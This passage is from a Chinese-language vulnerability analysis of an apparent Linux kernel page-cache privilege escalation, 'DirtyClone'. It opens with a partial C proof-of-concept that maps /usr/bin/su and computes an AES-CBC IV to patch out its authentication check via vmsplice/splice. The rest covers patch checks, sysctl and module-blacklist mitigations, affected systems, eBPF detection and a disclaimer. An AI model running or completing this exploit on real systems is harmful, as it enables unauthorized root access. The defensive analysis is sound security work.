#include <linux/if_packet.h>
#define TARGET_BINARY "/usr/bin/su"
#define PATCH_OFFSET 0x4a3c // 认证检查指令偏移 (需根据实际二进制确定)
#define BLOCK_SIZE 16 // AES块大小
#define ESP_PORT 4500 // IPsec NAT-T 端口
// ESP包结构 (简化)
struct esp_packet {
uint8_t spi[4]; // Security Parameters Index
uint8_t seq[4]; // Sequence Number
uint8_t iv[16]; // 初始化向量 (攻击者控制)
uint8_t payload[]; // 加密载荷 (将写入page cache)
} __attribute__((packed));
// 计算攻击IV (见第六节Python脚本的C实现)
static void compute_attack_iv(const uint8_t *iv_orig,
const uint8_t *original,
const uint8_t *target,
uint8_t *attack_iv)
{
for (int i = 0; i < BLOCK_SIZE; i++) {
attack_iv[i] = iv_orig[i] ^ original[i] ^ target[i];
}
}
// Step 1: 映射目标二进制到page cache
static char *map_target_binary(size_t *map_size)
{
int fd = open(TARGET_BINARY, O_RDONLY);
if (fd < 0) {
perror("[-] open target binary");
return NULL;
}
size_t page_offset = PATCH_OFFSET & ~0xfffUL;
*map_size = 0x2000; // 映射2页
char *p = mmap(NULL, *map_size, PROT_READ, MAP_SHARED, fd, page_offset);
close(fd);
if (p == MAP_FAILED) {
perror("[-] mmap");
return NULL;
}
printf("[+] Target binary mapped at %p (page cache)\n", p);
return p;
}
// Step 2: vmsplice + splice 零拷贝附加
static int splice_pagecache_to_skb(char *map_addr, size_t offset)
{
int pipefd[2];
if (pipe(pipefd) < 0) {
perror("[-] pipe");
return -1;
}
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if (sockfd < 0) {
perror("[-] socket");
return -1;
}
struct sockaddr_in dst = {
.sin_family = AF_INET,
.sin_port = htons(ESP_PORT),
.sin_addr.s_addr = htonl(INADDR_LOOPBACK),
};
// vmsplice: 将page cache页引用灌入管道
struct iovec iov = {
.iov_base = map_addr + (offset & 0xfff),
.iov_len = BLOCK_SIZE,
};
ssize_t ret = vmsplice(pipefd[1], &iov, 1, 0);
if (ret < 0) {
perror("[-] vmsplice");
return -1;
}
printf("[+] vmsplice: %zd bytes spliced (page cache → pipe)\n", ret);
// splice: 管道 → socket (创建引用page cache页的skb)
ret = splice(pipefd[0], NULL, sockfd, NULL, BLOCK_SIZE, 0);
if (ret < 0) {
perror("[-] splice");
return -1;
}
printf("[+] splice: %zd bytes (pipe → socket, skb frags = page cache)\n", ret);
close(pipefd[0]);
close(pipefd[1]);
close(sockfd);
return 0;
}
int main(int argc, char *argv[])
{
printf("=== DirtyClone PoC Framework ===\n");
printf("CVE-2026-43503 Page Cache Privilege Escalation\n\n");
// Step 1: 映射目标二进制
size_t map_size;
char *map_addr = map_target_binary(&map_size);
if (!map_addr) {
fprintf(stderr, "[-] Failed to map target binary\n");
return 1;
}
// 读取原始字节 (认证检查指令)
uint8_t original[BLOCK_SIZE];
memcpy(original, map_addr + (PATCH_OFFSET & 0xfff), BLOCK_SIZE);
printf("[+] Original bytes at offset 0x%lx: ", (unsigned long)PATCH_OFFSET);
for (int i = 0; i < BLOCK_SIZE; i++) printf("%02x ", original[i]);
printf("\n");
// 计算目标字节 (将jnz改为nop)
uint8_t target[BLOCK_SIZE];
memcpy(target, original, BLOCK_SIZE);
// 假设jnz在偏移0: 0f 85 XX XX XX XX → 90 90 90 90 90 90
target[0] = 0x90; target[1] = 0x90; target[2] = 0x90;
target[3] = 0x90; target[4] = 0x90; target[5] = 0x90;
printf("[+] Target bytes: ");
for (int i = 0; i < BLOCK_SIZE; i++) printf("%02x ", target[i]);
printf("\n");
// 计算攻击IV
uint8_t iv_original[BLOCK_SIZE] = {0}; // 从ESP包提取
uint8_t attack_iv[BLOCK_SIZE];
compute_attack_iv(iv_original, original, target, attack_iv);
printf("[+] Attack IV: ");
for (int i = 0; i < BLOCK_SIZE; i++) printf("%02x ", attack_iv[i]);
printf("\n\n");
// Step 2: 零拷贝附加page cache页到skb
printf("[*] Step 2: Splicing page cache to skb...\n");
if (splice_pagecache_to_skb(map_addr, PATCH_OFFSET) < 0) {
fprintf(stderr, "[-] Splice failed\n");
return 1;
}
// Step 3-6: 发送ESP包, 触发TEE克隆 + ESP解密
// (实际利用中需要构造完整的ESP包, 此处省略)
printf("[*] Step 3-6: ESP packet with attack IV sent\n");
printf("[*] TEE clone triggers flag loss, ESP decrypt overwrites page cache\n\n");
// Step 7: 执行被篡改的su
printf("[*] Step 7: Executing patched /usr/bin/su...\n");
printf("[*] Page cache now contains patched authentication check\n");
// system("/usr/bin/su -"); // 实际提权
printf("[+] Done. Check if root shell obtained.\n");
munmap(map_addr, map_size);
return 0;
}
九、防御方案
9.1 升级修复
首要防御是升级到Linux v7.1-rc5或更高版本。但关键在于必须确认完整的4-CVE修复链已应用:
# 检查内核版本
uname -r
# 检查4个CVE的修复是否都已应用
# CVE-2026-43284: splice/UDP SHARED_FRAG设置
# CVE-2026-43500: DirtyFrag标志设置
# CVE-2026-46300: Fragnesia coalescing继承
# CVE-2026-43503: DirtyClone fclone复制
# 检查修复补丁是否存在
grep -r "SKBFL_SHARED_FRAG" /usr/src/linux-*/net/core/skbuff.c
grep -r "__pskb_copy_fclone" /usr/src/linux-*/net/core/skbuff.c
┌──────────────────────────────────────────────────────────────┐
│ 4-CVE 修复链完整性检查表 │
├──────────────────────────────────────────────────────────────┤
│ │
│ CVE-2026-43284 ──┐ │
│ │ │
│ CVE-2026-43500 ──┼──→ 任一缺失 → 利用链可重建 → 不安全! │
│ │ │
│ CVE-2026-46300 ──┤ │
│ │ │
│ CVE-2026-43503 ──┘ │
│ │
│ 必须全部应用才算安全! │
│ │
└──────────────────────────────────────────────────────────────┘
9.2 临时缓解措施
在无法立即升级的环境中,可采用以下缓解措施:
禁用非特权用户命名空间
DirtyClone利用链依赖unshare -Urn获取CAP_NET_ADMIN。禁用非特权用户命名空间可阻断这一入口:
# 临时禁用
sysctl -w kernel.unprivileged_userns_clone=0
# 永久禁用
echo "kernel.unprivileged_userns_clone=0" >> /etc/sysctl.d/99-dirtyclone.conf
sysctl -p /etc/sysctl.d/99-dirtyclone.conf
# 验证
cat /proc/sys/kernel/unprivileged_userns_clone
# 输出 0 表示已禁用
黑名单相关内核模块
阻断IPsec ESP模块的加载,切断ESP解密路径:
# 黑名单 esp4 (IPv4 ESP) 和 esp6 (IPv6 ESP) 模块
cat >> /etc/modprobe.d/dirtyclone-blacklist.conf << 'EOF'
blacklist esp4
blacklist esp6
blacklist rxrpc
EOF
# 如果模块已加载, 需要卸载
modprobe -r esp4 2>/dev/null
modprobe -r esp6 2>/dev/null
modprobe -r rxrpc 2>/dev/null
# 验证模块未加载
lsmod | grep -E "esp4|esp6|rxrpc"
# 无输出表示已卸载
限制TEE netfilter使用
如果无法禁用ESP模块,可限制非特权用户使用TEE:
# 限制非特权命名空间中的iptables/nftables
# 通过cgroup或seccomp限制CAP_NET_ADMIN的使用
9.3 受影响系统评估
| 发行版/环境 | 是否受影响 | 说明 |
|---|---|---|
| Debian (默认) | 是 | 默认启用非特权用户命名空间 |
| Ubuntu (默认) | 是 | 默认启用非特权用户命名空间 |
| Fedora | 是 | 默认启用非特权用户命名空间 |
| RHEL 9/10 | 是 | 启用非特权用户命名空间 |
| RHEL 6/7/8 | 否 | 默认禁用非特权用户命名空间 |
| 多租户云 | 高风险 | 共享内核, 容器间可利用 |
| Kubernetes | 高风险 | Pod间共享内核 |
| 容器环境 | 高风险 | 容器逃逸+提权 |
9.4 eBPF检测规则部署
# 编译并加载DirtyClone检测eBPF程序
clang -O2 -g -target bpf -c detect_dirtyclone.bpf.c -o detect_dirtyclone.bpf.o
# 使用bpftool加载
bpftool prog load detect_dirtyclone.bpf.o /sys/fs/bpf/detect_dirtyclone
# 附加到kprobe
bpftool prog attach /sys/fs/bpf/detect_dirtyclone kprobe crypto_aead_decrypt
# 监控输出
cat /sys/kernel/debug/tracing/trace_pipe | grep DIRTYCLONE
十、总结
CVE-2026-43503 DirtyClone是DirtyFrag漏洞家族的第四个成员,揭示了Linux内核零拷贝路径中一个深层的设计缺陷。该漏洞利用链展示了现代内核设计中三种内存角色(page cache、sk_buff、原地转换)语义重叠时产生的安全风险。
DirtyClone的核心技术亮点包括:
-
标志丢失路径的创新:通过TEE netfilter规则触发
__pskb_copy_fclone(),在克隆时丢失SKBFL_SHARED_FRAG标志,这是该家族中独特的利用路径。 -
AES-CBC写入原语:将密码学解密操作转化为精确的内存写入原语,攻击者通过控制IV实现可控覆写,这一技术思路极具创造性。
-
真正的无痕攻击:仅修改page cache内存副本,磁盘文件不变,绕过所有基于磁盘哈希的文件完整性监控,不留内核日志和审计记录。
-
完整的7步利用链:从非特权用户到root,无需任何特殊权限(仅需默认开启的用户命名空间),攻击链设计精巧而完整。
该漏洞的防御需要完整应用4-CVE修复链,任何缺失都可能导致利用链重建。对于多租户云、Kubernetes和容器环境,风险尤为突出,因为这些环境共享内核且默认开启非特权用户命名空间。
DirtyClone也为内核安全设计提供了重要启示:零拷贝优化在带来性能提升的同时,必须严格维护内存语义边界。SKBFL_SHARED_FRAG标志的保护需要在所有可能的skb操作路径(发送、合并、克隆)中一致维护,任何遗漏都可能成为新的攻击面。
免责声明
本文仅供安全研究和技术学习使用,文中涉及的漏洞分析、PoC代码和攻击技术仅用于授权测试和安全防御建设。读者应遵守所在地区的法律法规,未经授权不得对任何系统进行渗透测试或攻击。因不当使用本文内容所造成的任何后果,作者不承担任何责任。
浙公网安备 33010602011771号